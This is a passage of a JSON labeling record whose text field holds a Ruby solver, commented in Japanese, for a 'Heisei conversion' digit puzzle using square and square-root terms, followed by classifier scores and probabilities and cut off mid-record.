\"c\"]\n # [\"a\", \"bc\"]\n # [\"ab\", \"c\"]\n # [\"abc\"]\n # \n # n = 0\n # \"\".stable_permutation() { n += 1 }\n # p n\n # ->0\n # - ブロックが指定されなかった場合,順列を生成する Enumerator オブジェクトを返す。\n # e = \"12\".stable_permutation()\n # e.each { |strs| p strs }\n # ->[\"1\", \"2\"]\n # [\"12\"]\n #\n def stable_permutation(&block) # :yield: strs\n return to_enum :stable_permutation unless block_given?\n \n unless self.empty?\n # 全ての文字列分解を再帰用クラスで行うと,\n # 再帰の都合上,未分解の文字列が複数生成される。\n # これを防ぐため,最初の分解は再帰関数の呼び出し元で行う。\n (1 ... self.size).each { |i|\n stable_permutation_internal(self[i ... self.size], [self[0, i]], block)\n }\n \n # 上記の処理では未分解の文字列が生成されないため,\n # ここで未分解の文字列を処理する。\n block.call([self])\n end\n \n return self\n end\nend\n\n#\n# 平成変換式を表すクラス\n#\nclass Expression\n #\n # 何もしないことを表す ID\n #\n NOP_TERM_ID = 0\n \n #\n # 2乗での変換を表す ID\n #\n SQUARE_TERM_ID = 1\n \n #\n # 2乗根での変換を表す ID\n #\n ROOT_TERM_ID = -1\n \n #\n # 式の評価結果(String)\n #\n attr_reader :result\n \n #\n # 平成変換式を生成する。\n # - 空の平成変換式を生成する。\n # Expression.new()\n # - 項を 1 つ持つ平成変換式を生成する (上級者向け)。\n # terms には,式を構成する項の配列を指定する。\n # 項の形式は,[変換前の値, 変換方法, 変換後の値] である。\n # results には,各項の変換後の値を連結した値を指定する。\n # Expression.new(\n # [[\"2\", Expression::SQUARE_TERM_ID, \"4\"],\n # [\"9\", Expression::ROOT_TERM_ID, \"3\"]],\n # \"43\")\n #\n def initialize(terms = [], result = \"\")\n @terms = terms\n @result = result\n end\n \n #\n # 変換前の値を返す。\n # p Expression.new().push_nop_term(\"3\").push_root_term(\"121\").value\n # ->\"3121\"\n def value()\n value = \"\"\n @terms.each { |term| value << term[0] }\n return value\n end\n \n #\n # 式の末尾に項を追加する。\n # p Expression.new().push_nop_term(\"3\").to_s()\n # ->\"3\"\n def push_nop_term(value)\n @terms << [value, NOP_TERM_ID, value]\n @result << value\n return self\n end\n \n #\n # 式の末尾に2乗項を追加する。\n # p Expression.new().push_square_term(\"3\").to_s()\n # ->\"[3]\"\n #\n def push_square_term(value)\n square_value = (value.to_i()**2).to_s()\n @terms << [value, SQUARE_TERM_ID, square_value]\n @result << square_value\n return self\n end\n \n #\n # 式の末尾に2乗根項を追加する。\n # - 2乗根の結果が整数である場合は,項を追加する。\n # p Expression.new().push_root_term(\"121\").to_s()\n # ->\"(121)\"\n # - 2乗根の結果が整数でない場合は,nil を返す。\n # p Expression.new().push_root_term(\"120\")\n # ->nil\n #\n def push_root_term(value)\n root_value_f = Math.sqrt(value.to_i())\n root_value_i = root_value_f.to_i()\n if root_value_i != root_value_f\n # 平方根が整数でない。\n return nil\n end\n root_value = root_value_i.to_s()\n \n @terms << [value, ROOT_TERM_ID, root_value]\n @result << root_value\n return self\n end\n \n #\n # 式の末尾にある項を削除した後,削除した項を返す。\n # 項の形式については,Expression::new を参照のこと。\n # p Expression.new().push_root_term(\"121\").pop_term()\n # ->[\"121\", -1, \"11\"]\n #\n def pop_term()\n @result = @result[0, @result.size - @terms[-1][2].size]\n return @terms.pop()\n end\n \n #\n # 式を逆転する。\n # 戻り値は,変換後の値を変換前の値に戻す式である。\n # e = Expression.new().push_square_term(\"7\").push_root_term(\"81\")\n # p e.to_s()\n # p e.invert().to_s()\n # ->\"[7](81)\"\n # \"(49)[9]\"\n #\n def invert()\n terms = []\n result = \"\"\n @terms.each { |term|\n terms << [term[2], -term[1], term[0]]\n result << term[0]\n }\n \n return self.class.send(:new, terms, result)\n end\n \n #\n # 式を clone する。\n #\n def clone()\n return self.class.send(:new, @terms.clone(), @result.clone())\n end\n \n #\n # 式を dup する。\n #\n def dup()\n return self.class.send(:new, @terms.dup(), @result.dup())\n end\n \n #\n # 文字列形式の式を返す。\n #\n def to_s()\n brackets = {\n NOP_TERM_ID => [\"\", \"\"],\n SQUARE_TERM_ID => [\"[\", \"]\"],\n ROOT_TERM_ID => [\"(\", \")\"],\n }\n \n str = \"\"\n @terms.each { |value, function_id|\n str << brackets[function_id][0] + value + brackets[function_id][1]\n }\n return str\n end\n \n #\n # 文字列形式の式を返す。\n # 戻り値は,to_s() と同じである。\n #\n def inspect()\n return to_s()\n end\nend\n\n#\n# 平成変換式を生成するクラス\n#\nclass ExpressionFactory\n include Enumerable\n \n #\n # 平成変換式生成オブジェクトを生成する。\n # limit を指定した場合は,\n # 式の評価結果の文字列長が limit 以下となる式のみ生成する。\n #\n def initialize(limit = Float::INFINITY)\n @limit = limit\n end\n \n #\n # 平成変換式を順列を生成するための再帰用関数である。\n #\n def expressions_internal(subvalues, expression, expression_results, block)\n # 式の評価結果が limit を超えている場合は,以降の処理を止める。\n return if expression.result.size > @limit\n \n if subvalues.size > 0\n head = subvalues[0]\n tail = subvalues[1 ... subvalues.size]\n \n if head[0] != '0' && head != \"1\"\n # 先頭が 0 である値に括弧を付けるのは,平成変換式の規約違反である。\n # また,1 を2乗,または2乗根しても 1 であるので,必ず重複が発生する。\n # よって,上記2つに該当しない場合のみ,2乗,2乗根の項を作成する。\n \n # 2乗根の項を追加する。\n # 2乗根の結果が整数であった場合のみ,式に項を追加できる。\n r = expression.push_root_term(head)\n unless r.nil?\n expressions_internal(tail, expression, expression_results, block)\n expression.pop_term()\n end\n \n # 2乗の項を追加する。\n expression.push_square_term(head)\n expressions_internal(tail, expression, expression_results, block)\n expression.pop_term()\n end\n \n # 項を追加する。\n expression.push_nop_term(head)\n expressions_internal(tail, expression, expression_results, block)\n expression.pop_term()\n else\n # 式の評価結果が重複していない場合のみ,ブロックを実行する。\n unless expression_results.has_key?(expression.result)\n block.call(expression.dup())\n expression_results[expression.result] = true\n end\n end\n end\n private :expressions_internal\n \n #\n # value を元に平成変換式を生成する。\n # 本関数で生成される式の評価結果は,重複しない\n # (例えば,\"2014\" が生成された後に \"20(1)4\" などは生成されない)。\n # - ブロックが指定された場合,生成した平成変換式を引数としてブロックを実行する。\n # ExpressionFactory.new().expressions(\"2014\") { |expr| p expr.to_s() }\n # ->\"[2]01(4)\"\n # \"[2]01[4]\"\n # \"[2]014\"\n # \"201(4)\"\n # \"201[4]\"\n # \"[2]0[14]\"\n # \"20[14]\"\n # \"[20]1(4)\"\n # \"[20]1[4]\"\n # \"[20]14\"\n # \"[20][14]\"\n # \"[201](4)\"\n # \"[201][4]\"\n # \"[201]4\"\n # \"[2014]\"\n # \n # n = 0\n # ExpressionFactory.new(4).expressions(\"\") { n += 1 }\n # p n\n # ->0\n # - ブロックが指定されなかった場合,平成変換式を生成する Enumerator オブジェクトを返す。\n # e = ExpressionFactory.new(4).expressions(\"2014\")\n # e.each { |expr| puts \"#{expr.to_s()} => #{expr.result}\" }\n # ->[2]01(4) => 4012\n # [2]014 => 4014\n # 201(4) => 2012\n #\n def expressions(value, &block) # :yield: expr\n return to_enum :expressions, value unless block_given?\n \n expression_results = {value => true}\n value.stable_permutation() { |subvalues|\n expressions_internal(subvalues, Expression.new(), expression_results, block)\n }\n return self\n end\nend\n\n#\n# 探索の情報を保持するクラス\n#\nclass Context\n #\n # before に変換前の値,after に変換後の値を指定して,\n # コンテキストを生成する。\n #\n def initialize(before, after)\n @self_results = {before => nil}\n @self_nexts = [before]\n @peer_results = {after => nil}\n @peer_nexts = [after]\n @linked_value = \"\"\n @found = false\n @turned = false\n end\n \n #\n # コンテキストに探索で見つけた式を登録する。\n #\n def entry(expression)\n result = expression.result\n unless @self_results.has_key?(result)\n @self_results[result] = expression\n @self_nexts << result\n if @peer_results.has_key?(result)\n @linked_value = result\n @found = true\n end\n end\n \n return self\n end\n \n #\n # 次に探索すべき値を返す。\n #\n def next_value()\n return @self_nexts.shift()\n end\n \n #\n # 引き続き探索できるようにする。\n # この関数を実行すると,found?() の結果が false に戻る。\n #\n def continue()\n @found = false\n return self\n end\n \n #\n # 解を見つけた場合は true を,それ以外の場合は false 返す。\n #\n def found?()\n return @found\n end\n \n #\n # 探索を終了した (解を見つけた,または全ての値を探索した) 場合は true を,\n # それ以外の場合は false を返す。\n #\n def completed?()\n return @found || (@self_nexts.empty?() && @peer_nexts.empty?())\n end\n \n #\n # 探索の方向を変える。\n #\n def turn()\n @tmp_results = @self_results\n @tmp_nexts = @self_nexts\n @self_results = @peer_results\n @self_nexts = @peer_nexts\n @peer_results = @tmp_results\n @peer_nexts = @tmp_nexts\n @turned = !@turned\n return self\n end\n \n #\n # 変換方法を返す。\n # 解を見つけている場合は,値(String),または式(Expression)で\n # 構成される配列を返す。\n # 解を見つけていない場合は,空配列を返す。\n #\n def results()\n return [] if @linked_value.empty?()\n \n forward_results = @turned ? @peer_results : @self_results\n backward_results = @turned ? @self_results : @peer_results\n results = []\n \n value = @linked_value\n until forward_results[value].nil?\n expression = forward_results[value]\n results.unshift(expression)\n value = expression.value\n end\n results.unshift(value)\n \n result = @linked_value\n until backward_results[result].nil?\n expression = backward_results[result]\n expression = expression.invert()\n results.push(expression)\n result = expression.result\n end\n results.push(result)\n \n return results\n end\nend\n\n#\n# 平成変換の解を探す。\n# 解が見つかった場合は true を,それ以外の場合は false を返す。\n#\ndef solve(context, limit)\n factory = ExpressionFactory.new(limit)\n linked_value = nil\n \n until context.completed?()\n value = context.next_value()\n unless value.nil?\n factory.expressions(value) { |expression|\n context.entry(expression)\n break if context.found?()\n }\n end\n \n context.turn()\n end\n \n return context.found?()\nend\n\nVersion = \"1.0\"\nbenchmarked = false\ncontinued = false\nexpected_step = nil\nlimit = 9\n\noption_parser = OptionParser.new()\noption_parser.banner = option_parser.banner + \" BEFORE AFTER\"\noption_parser.on('-b', 'output benchmark') { benchmarked = true }\noption_parser.on('-e N', 'continue to search until N steps answer is found') { |v|\n unless v =~ /^[+]?[0-9]+$/\n raise OptionParser::ParseError, \"(invalid argument: #{v})\"\n end\n expected_step = v.to_i()\n}\noption_parser.on('-l SIZE', \"size limit of evaluated term (default: #{limit})\") { |v|\n unless v =~ /^[+]?[0-9]+$/\n raise OptionParser::ParseError, \"(invalid argument: #{v})\"\n end\n limit = v.to_i()\n}\nbegin\n option_parser.parse!(ARGV)\n if ARGV.size < 2\n raise OptionParser::ParseError, \"BEFORE or AFTER wasn't specified\"\n end\n if ARGV[0] !~ /^[0-9]+$/ || ARGV[1] !~ /^[0-9]+$/\n raise OptionParser::ParseError, \"BEFORE and AFTER must be digits\"\n end\nrescue OptionParser::ParseError => e\n puts \"error: \" + e.message\n puts option_parser.help\n exit(1)\nend\n\nbefore = ARGV[0]\nafter = ARGV[1]\nfound = false\ncontext = Context.new(before, after)\nbegin\n if benchmarked\n puts Benchmark::CAPTION\n puts Benchmark::measure { solve(context, limit) }\n else\n solve(context, limit)\n end\n \n unless context.found?()\n unless found\n puts \"couldn't convert from #{before} to #{after}\"\n end\n break\n end\n \n results = context.results\n step = results.size - 2\n puts results.join(\"->\")\n puts \"#{step} steps\"\n \n found = true\n context.continue()\nend until expected_step.nil? || step <= expected_step\n", "text_preview": "#!ruby -EWindows-31J # coding: Windows-31J # # = 平成変換(処理速度向上版) # # Authors:: calotocen(カトー) # # == 使い方 # heiseihenkan_kai [options] BEFORE AFTER # BEFORE 変換前の値 # AFTER 変換後の値 # -b ベンチマークを表示する。 # -e N N ステップの解が見つかるまで,探索を続ける。 # -l SIZE 探索対象とする", "input_sha256": "6eb6788994a9d5741eca22683644262d0df5b56c98ccb90ef2daa27a17c9ef65", "text_sha256": "2cfd8b3e307012b4e38b26e43937a874182d9a4dab3fcd7eb50a222a979f9fbd", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16058, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 4, "code_density": 3, "reasoning_density": 4, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2715414826871867, "noise_severity": 0.10932174503833225, "missing_content_severity": 0.46384981661221386, "factual_density": 3.4151962426542464, "pretraining_utility": 0.7668953138688087, "math_density": 2.556567428643235, "code_density": 3.3180970754135393, "reasoning_density": 2.571357611263962, "education_level": 2.0090840371652026, "creative_writing_quality": -0.011433989414046844}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.19048622382133062, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9839107032840512, "secondary": 0.42547674134516106, "tertiary": 0.6242449748978538, "structured_records": 0.290061705102009, "procedural_steps": 0.27648273096683734, "worked_solution": 0.6028664916946767, "contextual_dialogue": 1.0079356253478826e-05, "content_quality": 0.5305134239362652, "noise_severity": 0.9088985458013898, "missing_content_severity": 0.6134584861564885, "factual_density": 0.5126635355452052, "pretraining_utility": 0.571636466847571, "math_density": 0.0, "code_density": 0.6135155494044426, "reasoning_density": 0.0, "education_level": 0.6940146406824855, "creative_writing_quality": 0.9955209565969501, "primary_topic": 0.9515035536243692, "secondary_topic": 0.6544822681617338}, "probability_margin": {"primary": 0.9746773073915191, "secondary": 0.14971162708307284, "tertiary": 0.4642809410549157, "education_level": 0.6209990049988772, "creative_writing_quality": 0.9942694069874556, "primary_topic": 0.9276786591057722, "secondary_topic": 0.4831523253062348}, "raw_probabilities": {"primary": {"Academic Writing": 0.00011356605411331703, "Content Listing": 4.7460218362862165e-05, "Creative Writing": 6.777563037963621e-05, "Customer Support Page": 0.00019840281357847204, "Q&A Forum": 4.0053269390819376e-05, "Discussion Thread": 2.9869678555551698e-05, "Comment Section": 4.8263223105206295e-05, "Missing Content": 7.678787657949678e-05, "Knowledge Article": 0.0005996167730794054, "Legal Notices": 9.140888400420353e-05, "News Article": 2.5953008445280517e-05, "Organizational Announcement": 0.0003677712445768906, "Nonfiction Writing": 0.00029164965851995314, "Organizational About Page": 4.7332075057967125e-05, "Personal About Page": 5.427958638432865e-05, "Personal Blog": 3.738186673088394e-05, "Product Page": 2.9563299127610033e-05, "Spam / Ads": 3.789965523152539e-05, "Structured Data": 0.00019844151113789895, "Technical Writing": 0.9845810906472157, "Transcript / Interview": 5.7734050444297895e-05, "Tutorial / How-To Guide": 0.009903783255696486, "User Reviews": 3.045251698155969e-05, "Other / Unknown": 0.003023463203300832}, "secondary": {"Academic Writing": 0.002529197547305743, "Content Listing": 0.0008736785072970662, "Creative Writing": 0.0008691480785382659, "Customer Support Page": 0.001759844507203748, "Q&A Forum": 0.0006835577094895496, "Discussion Thread": 0.0005274040662943314, "Comment Section": 0.0007750230929397997, "Missing Content": 0.0011602790256667335, "Knowledge Article": 0.007400761905674642, "Legal Notices": 0.000990957241808956, "News Article": 0.0008741402246904631, "Organizational Announcement": 0.00917039085620319, "Nonfiction Writing": 0.02391780941267384, "Organizational About Page": 0.001075000142224528, "Personal About Page": 0.0008076996442593876, "Personal Blog": 0.0009171348252451222, "Product Page": 0.0005160423714257518, "Spam / Ads": 0.000626829479825755, "Structured Data": 0.002769561519195548, "Technical Writing": 0.19103096588826932, "Transcript / Interview": 0.0010086660355319679, "Tutorial / How-To Guide": 0.29970358337270653, "User Reviews": 0.0005971140897504701, "NONE": 0.44941521045577937}, "tertiary": {"Academic Writing": 0.004497981249824392, "Content Listing": 0.0007246293740098457, "Creative Writing": 0.0009991877537292842, "Customer Support Page": 0.001505809040555554, "Q&A Forum": 0.0006143044179568534, "Discussion Thread": 0.00046103093660100066, "Comment Section": 0.0006496272930477388, "Missing Content": 0.0011443449032779286, "Knowledge Article": 0.012640370577754193, "Legal Notices": 0.001102070640903726, "News Article": 0.000717914547401413, "Organizational Announcement": 0.013729474388952475, "Nonfiction Writing": 0.05539683746676572, "Organizational About Page": 0.0010183606747783504, "Personal About Page": 0.0007638750492004148, "Personal Blog": 0.001241820487173066, "Product Page": 0.00044954316562009387, "Spam / Ads": 0.0005529955275985454, "Structured Data": 0.005866923880914023, "Technical Writing": 0.07883298171805984, "Transcript / Interview": 0.0010021422907950403, "Tutorial / How-To Guide": 0.17562049322219417, "User Reviews": 0.00056584711577635, "NONE": 0.6399014342771099}, "structured_records": {"false": 0.709938294897991, "true": 0.290061705102009}, "procedural_steps": {"false": 0.7235172690331626, "true": 0.27648273096683734}, "worked_solution": {"false": 0.39713350830532335, "true": 0.6028664916946767}, "contextual_dialogue": {"false": 0.9999899206437465, "true": 1.0079356253478826e-05}, "content_quality": {"-2": 0.0036000231548942723, "-1": 0.01899002196124364, "0": 0.0971410909074774, "1": 0.4628061769945505, "2": 0.4174626869818342}, "noise_severity": {"0": 0.911414477195613, "1": 0.07327259630745178, "2": 0.010980166476324686, "3": 0.003242224304211299, "4": 0.0010905357163992987}, "missing_content_severity": {"0": 0.5808398050581871, "1": 0.38429372857615274, "2": 0.0272572237629072, "3": 0.005395329900764899, "4": 0.002213912701988011}, "factual_density": {"0": 0.00198977334857402, "1": 0.0052057218156601835, "2": 0.06643716863417726, "3": 0.4283531612361226, "4": 0.498014174965466}, "pretraining_utility": {"-2": 0.007842811956467483, "-1": 0.0467079532154793, "0": 0.25662612065669205, "1": 0.5483573373454994, "2": 0.1404657768258617}, "math_density": {"0": 0.0746187150613035, "1": 0.1381436724892468, "2": 0.24442839786959603, "3": 0.2416698979046184, "4": 0.30113931667523525}, "code_density": {"0": 0.0011065766047708167, "1": 0.0022051105429055492, "2": 0.06511218175044096, "3": 0.5406369230377785, "4": 0.39093920806410426}, "reasoning_density": {"0": 0.06320683574315468, "1": 0.15941735810383406, "2": 0.21293618392833996, "3": 0.2716906035952371, "4": 0.29274901862943414}, "education_level": {"none": 0.0021481798807431486, "0": 0.00551122678249319, "1": 0.12401319556986083, "2": 0.745012200568738, "3": 0.10253022224215384, "4": 0.02078497495601094}, "creative_writing_quality": {"not_applicable": 0.9962674638307917, "-2": 0.0002170723155273747, "-1": 0.000671921164129698, "0": 0.0019980568433360614, "1": 0.0006275836762928294, "2": 0.00021790216992266978}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00019344308524861856, "Art & Design": 0.00021431350203557418, "Law & Crime": 0.00014143079538468705, "Education & Careers": 0.00014554982967893135, "Entertainment & Media": 0.0004934162962655385, "Fashion & Beauty": 0.00012195061965155732, "Business, Economics & Finance": 0.00022162554302097826, "Food & Dining": 0.000171573226721354, "Games & Gaming": 0.0028692104062408887, "Electronics & Hardware": 0.00018299851908844798, "Health, Healthcare & Wellness": 0.00012916890122385843, "History & Geography": 0.0013895947696011533, "Home, Pets & Hobbies": 0.00036177478866147264, "Industry & Production": 0.00011324859178122167, "Language, Literature & Philosophy": 0.0007710493998435049, "Politics & Government": 0.00047744755869358666, "Religion & Spirituality": 0.00029296590998099904, "Science, Mathematics & Engineering": 0.025690142456121376, "Relationships & Community": 7.555488163372782e-05, "Software Usage & Applications": 0.0027838516016692096, "Programming & Software Engineering": 0.9533688015618935, "Sports & Fitness": 0.00018723291365328756, "Vehicles & Transportation": 0.0001007633811986533, "Travel & Tourism": 0.00017899767974097905, "Other / Uncovered Subject": 0.009101438267741799, "Unknown / Insufficient Content": 0.0002224555132250145}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0012288457091541238, "Art & Design": 0.0010454266714328005, "Law & Crime": 0.0012640763669941788, "Education & Careers": 0.0007451428380022008, "Entertainment & Media": 0.0034403161375893116, "Fashion & Beauty": 0.0006485589466131684, "Business, Economics & Finance": 0.0010109471990946872, "Food & Dining": 0.0007778188506519497, "Games & Gaming": 0.00704277743762292, "Electronics & Hardware": 0.0007319091457708473, "Health, Healthcare & Wellness": 0.0006679646554536872, "History & Geography": 0.0034252209320841296, "Home, Pets & Hobbies": 0.0009993208272183612, "Industry & Production": 0.00040355577494440595, "Language, Literature & Philosophy": 0.001338112892066623, "Politics & Government": 0.0032810057893104187, "Religion & Spirituality": 0.0020732352924448397, "Science, Mathematics & Engineering": 0.18461908638774, "Relationships & Community": 0.00027254424122397065, "Software Usage & Applications": 0.013771156913263811, "Programming & Software Engineering": 0.08272400204420949, "Sports & Fitness": 0.0005445135873510525, "Vehicles & Transportation": 0.00039935471730471566, "Travel & Tourism": 0.0007856403607169411, "Other / Uncovered Subject": 0.01898805458776664, "NONE": 0.6677714116939748}}, "probabilities": {"primary": {"Academic Writing": 0.00011356605411331701, "Content Listing": 4.746021836286215e-05, "Creative Writing": 6.77756303796362e-05, "Customer Support Page": 0.00019840281357847198, "Q&A Forum": 4.005326939081937e-05, "Discussion Thread": 2.986967855555169e-05, "Comment Section": 4.826322310520628e-05, "Missing Content": 7.678787657949677e-05, "Knowledge Article": 0.0005996167730794053, "Legal Notices": 9.140888400420351e-05, "News Article": 2.595300844528051e-05, "Organizational Announcement": 0.0003677712445768905, "Nonfiction Writing": 0.0002916496585199531, "Organizational About Page": 4.733207505796711e-05, "Personal About Page": 5.427958638432864e-05, "Personal Blog": 3.7381866730883936e-05, "Product Page": 2.9563299127610026e-05, "Spam / Ads": 3.7899655231525386e-05, "Structured Data": 0.0001984415111378989, "Technical Writing": 0.9845810906472154, "Transcript / Interview": 5.773405044429788e-05, "Tutorial / How-To Guide": 0.009903783255696484, "User Reviews": 3.0452516981559683e-05, "Other / Unknown": 0.003023463203300831}, "secondary": {"Academic Writing": 0.002529197547305743, "Content Listing": 0.0008736785072970662, "Creative Writing": 0.0008691480785382659, "Customer Support Page": 0.001759844507203748, "Q&A Forum": 0.0006835577094895496, "Discussion Thread": 0.0005274040662943314, "Comment Section": 0.0007750230929397997, "Missing Content": 0.0011602790256667335, "Knowledge Article": 0.007400761905674642, "Legal Notices": 0.000990957241808956, "News Article": 0.0008741402246904631, "Organizational Announcement": 0.00917039085620319, "Nonfiction Writing": 0.02391780941267384, "Organizational About Page": 0.001075000142224528, "Personal About Page": 0.0008076996442593876, "Personal Blog": 0.0009171348252451222, "Product Page": 0.0005160423714257518, "Spam / Ads": 0.000626829479825755, "Structured Data": 0.002769561519195548, "Technical Writing": 0.19103096588826932, "Transcript / Interview": 0.0010086660355319679, "Tutorial / How-To Guide": 0.29970358337270653, "User Reviews": 0.0005971140897504701, "NONE": 0.44941521045577937}, "tertiary": {"Academic Writing": 0.004497981249824393, "Content Listing": 0.0007246293740098458, "Creative Writing": 0.0009991877537292844, "Customer Support Page": 0.0015058090405555542, "Q&A Forum": 0.0006143044179568535, "Discussion Thread": 0.0004610309366010007, "Comment Section": 0.0006496272930477389, "Missing Content": 0.0011443449032779288, "Knowledge Article": 0.012640370577754195, "Legal Notices": 0.0011020706409037263, "News Article": 0.0007179145474014131, "Organizational Announcement": 0.013729474388952476, "Nonfiction Writing": 0.05539683746676573, "Organizational About Page": 0.0010183606747783507, "Personal About Page": 0.0007638750492004149, "Personal Blog": 0.0012418204871730662, "Product Page": 0.0004495431656200939, "Spam / Ads": 0.0005529955275985455, "Structured Data": 0.005866923880914024, "Technical Writing": 0.07883298171805986, "Transcript / Interview": 0.0010021422907950405, "Tutorial / How-To Guide": 0.1756204932221942, "User Reviews": 0.0005658471157763501, "NONE": 0.63990143427711}, "structured_records": {"false": 0.709938294897991, "true": 0.290061705102009}, "procedural_steps": {"false": 0.7235172690331626, "true": 0.27648273096683734}, "worked_solution": {"false": 0.39713350830532335, "true": 0.6028664916946767}, "contextual_dialogue": {"false": 0.9999899206437465, "true": 1.0079356253478826e-05}, "content_quality": {"-2": 0.0036000231548942723, "-1": 0.01899002196124364, "0": 0.0971410909074774, "1": 0.4628061769945505, "2": 0.4174626869818342}, "noise_severity": {"0": 0.911414477195613, "1": 0.07327259630745178, "2": 0.010980166476324686, "3": 0.003242224304211299, "4": 0.0010905357163992987}, "missing_content_severity": {"0": 0.5808398050581871, "1": 0.38429372857615274, "2": 0.0272572237629072, "3": 0.005395329900764899, "4": 0.002213912701988011}, "factual_density": {"0": 0.00198977334857402, "1": 0.0052057218156601835, "2": 0.06643716863417726, "3": 0.4283531612361226, "4": 0.498014174965466}, "pretraining_utility": {"-2": 0.007842811956467485, "-1": 0.046707953215479305, "0": 0.2566261206566921, "1": 0.5483573373454995, "2": 0.14046577682586173}, "math_density": {"0": 0.0746187150613035, "1": 0.1381436724892468, "2": 0.24442839786959603, "3": 0.2416698979046184, "4": 0.30113931667523525}, "code_density": {"0": 0.0011065766047708165, "1": 0.002205110542905549, "2": 0.06511218175044095, "3": 0.5406369230377784, "4": 0.39093920806410415}, "reasoning_density": {"0": 0.06320683574315468, "1": 0.15941735810383406, "2": 0.21293618392833996, "3": 0.2716906035952371, "4": 0.29274901862943414}, "education_level": {"none": 0.002148179880743149, "0": 0.005511226782493191, "1": 0.12401319556986085, "2": 0.7450122005687381, "3": 0.10253022224215386, "4": 0.020784974956010942}, "creative_writing_quality": {"not_applicable": 0.9962674638307915, "-2": 0.00021707231552737464, "-1": 0.0006719211641296979, "0": 0.001998056843336061, "1": 0.0006275836762928293, "2": 0.00021790216992266973}, "primary_topic": {"Adult & Explicit Sexual Content": 0.0001934430852486186, "Art & Design": 0.0002143135020355742, "Law & Crime": 0.00014143079538468707, "Education & Careers": 0.00014554982967893138, "Entertainment & Media": 0.0004934162962655386, "Fashion & Beauty": 0.00012195061965155733, "Business, Economics & Finance": 0.0002216255430209783, "Food & Dining": 0.00017157322672135402, "Games & Gaming": 0.002869210406240889, "Electronics & Hardware": 0.000182998519088448, "Health, Healthcare & Wellness": 0.00012916890122385846, "History & Geography": 0.0013895947696011535, "Home, Pets & Hobbies": 0.0003617747886614727, "Industry & Production": 0.00011324859178122168, "Language, Literature & Philosophy": 0.000771049399843505, "Politics & Government": 0.0004774475586935867, "Religion & Spirituality": 0.0002929659099809991, "Science, Mathematics & Engineering": 0.02569014245612138, "Relationships & Community": 7.555488163372783e-05, "Software Usage & Applications": 0.00278385160166921, "Programming & Software Engineering": 0.9533688015618936, "Sports & Fitness": 0.0001872329136532876, "Vehicles & Transportation": 0.00010076338119865332, "Travel & Tourism": 0.00017899767974097907, "Other / Uncovered Subject": 0.0091014382677418, "Unknown / Insufficient Content": 0.00022245551322501453}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0012288457091541238, "Art & Design": 0.0010454266714328005, "Law & Crime": 0.0012640763669941788, "Education & Careers": 0.0007451428380022008, "Entertainment & Media": 0.0034403161375893116, "Fashion & Beauty": 0.0006485589466131684, "Business, Economics & Finance": 0.0010109471990946872, "Food & Dining": 0.0007778188506519497, "Games & Gaming": 0.00704277743762292, "Electronics & Hardware": 0.0007319091457708473, "Health, Healthcare & Wellness": 0.0006679646554536872, "History & Geography": 0.0034252209320841296, "Home, Pets & Hobbies": 0.0009993208272183612, "Industry & Production": 0.00040355577494440595, "Language, Literature & Philosophy": 0.001338112892066623, "Politics & Government": 0.0032810057893104187, "Religion & Spirituality": 0.0020732352924448397, "Science, Mathematics & Engineering": 0.18461908638774, "Relationships & Community": 0.00027254424122397065, "Software Usage & Applications": 0.013771156913263811, "Programming & Software Engineering": 0.08272400204420949, "Sports & Fitness": 0.0005445135873510525, "Vehicles & Transportation": 0.00039935471730471566, "Travel & Tourism": 0.0007856403607169411, "Other / Uncovered Subject": 0.01898805458776664, "NONE": 0.6677714116939748}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, 